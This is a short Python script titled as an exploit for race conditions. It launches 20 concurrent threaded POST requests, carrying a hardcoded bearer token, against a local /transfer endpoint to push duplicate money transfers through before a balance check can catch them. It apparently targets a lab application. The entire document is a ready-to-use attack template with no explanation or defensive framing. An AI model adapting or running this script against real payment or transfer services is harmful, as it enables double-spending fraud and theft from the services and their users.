Script for exploiting Race Conditions

race.py

#!/usr/bin/python3

'''
A Script for Race Conditions
'''

import requests
import threading
import time
import json

headers = {
	'Authorization': 'Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcwNTg1MjY4NywianRpIjoiZWEwZjU5MGMtMDBlMi00YWYzLTk4MmMtZjBjNThmM2YyMzViIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6MSwibmJmIjoxNzA1ODUyNjg3LCJjc3JmIjoiNGE2OGI5NTYtY2E4NS00MmNmLWJlMTUtMmJlNzkwMmU1ODkxIiwiZXhwIjoxNzA1ODUzNTg3fQ.U0eMY3Zllo6xY4W9xIclXc72afYMQ0iC1Jnhc_rGii0',
	'Content-Type': 'application/json',
}

data = {
	"batchid":"47ba2f15-1473-403b-871d-9aca9182469c",
	"recipient":"464f6a1a-7d61-484c-a6a4-9fa098f7e722",
	"amount":"0.009"
}

URL = 'http://localhost:5000/transfer'
THREADS = 20
TOTAL_REQUEST = 20

FINISHED = 0

def request(request_number):
	global FINISHED

	FINISHED += 1
	r = requests.post(
		URL,
		json.dumps(data),
		headers = headers
	)
	print(f"Response {request_number}: {r.status_code} | {len(r.text)}")
	# print(r.text)
	FINISHED -= 1

def exploit():
	for n in range(TOTAL_REQUEST):
		t = threading.Thread(target=request, args=(n,))
		t.daemon = True
		t.start()

		while FINISHED >= THREADS:
			pass

	while FINISHED > 0:
		time.sleep(0.5)

if __name__ == "__main__":
	exploit()